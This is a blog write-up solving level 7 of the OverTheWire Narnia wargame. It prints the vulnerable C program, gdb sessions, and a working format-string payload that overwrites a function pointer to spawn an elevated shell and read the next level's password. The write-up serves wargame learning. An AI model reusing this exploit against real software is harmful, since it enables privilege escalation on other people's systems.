OverTheWire.org - Narnia - Level 7 Writeup

The vulnerable code is:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
      char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
            fflush(stdout);
        setreuid(geteuid(),geteuid());
        system("/bin/sh");

        return 0;
}

The vulnerability is in snprintf that can be exploited with a format string.
There are also a function hackedfunction() that spawns an elevated shell but it's not used in the execution flow, and a function goodfunction() that is executed and it writes some output and exits.

The goodfunction is called by main on exit by means of a instruction pointer on the stack

A possibile solution would be to overwrite the pointer of goodfunction and point it to the address of hackedfunction.

Let's do some experiments with gdb:

narnia7@narnia:~$ gdb /narnia/narnia7
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
...
(gdb) disassemble vuln
  0x080486ac <+145>:   push   %eax
   0x080486ad <+146>:   call   0x8048500 <snprintf@plt>
   0x080486b2 <+151>:   add    $0xc,%esp
   0x080486b5 <+154>:   mov    -0x84(%ebp),%eax
   0x080486bb <+160>:   call   *%eax
   0x080486bd <+162>:   leave
(gdb) break *0x080486ad
Breakpoint 1 at 0x80486ad
(gdb) break *0x080486b2
Breakpoint 2 at 0x80486b2
(gdb) set args $(python -c 'print "\x01\xd6\xff\xff""%x%n%x%x%x%x"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 $(python -c 'print "\x01\xd6\xff\xff""%x%n%x%x%x%x"')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724

before : ptrf() = 0x80486ff (0xffffd648)
I guess you want to come to the hackedfunction...
c
Breakpoint 1, 0x080486ad in vuln ()
(gdb) c
Continuing.

Breakpoint 2, 0x080486b2 in vuln ()
(gdb) x/wx 0xffffd601
0xffffd601:     0x0000000b

In gdb we disassemble the code of vuln function and place breakpoints just before and after the snprintf function (well, the breakpoint after is useful, the breakpoint before not too much)

And use a string format like "\x01\xd6\xff\xff""%x%n%x%x%x%x"'

This %x makes the snprintf write a number at the address specified at the beginning of the format strinf (0xffffd601). The number is 0x0b

We also get some interesting information:
- address of goodfunction  = 0x80486ff
- address of hackedfunction = 0x8048724
- address of writable pointer to goodfunciton, ptr = 0xffffd648

We have to do two things:
- overwrite the memory location 0xffffd648 (ptr) changing it from goodfunction location (0x80486ff) to the hackedfunction location (0x8048724)

The decimal value of 0x8048724 is 134514468

So let's try with a command line parameter: 
$(python -c 'print "\x48\xd6\xff\xff%134514468x%n%"')

narnia7@narnia:~$ /narnia/narnia7  $(python -c 'print "\x48\xd6\xff\xff%134514468x%n%"')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724

before : ptrf() = 0x80486ff (0xffffd658)
I guess you want to come to the hackedfunction...
Way to go!!!!
$ id
uid=14008(narnia8) gid=14007(narnia7) groups=14007(narnia7)
$ cat /etc/narnia_pass/narnia8
m********g
$









No comments:

Post a Comment

Note: Only a member of this blog may post a comment.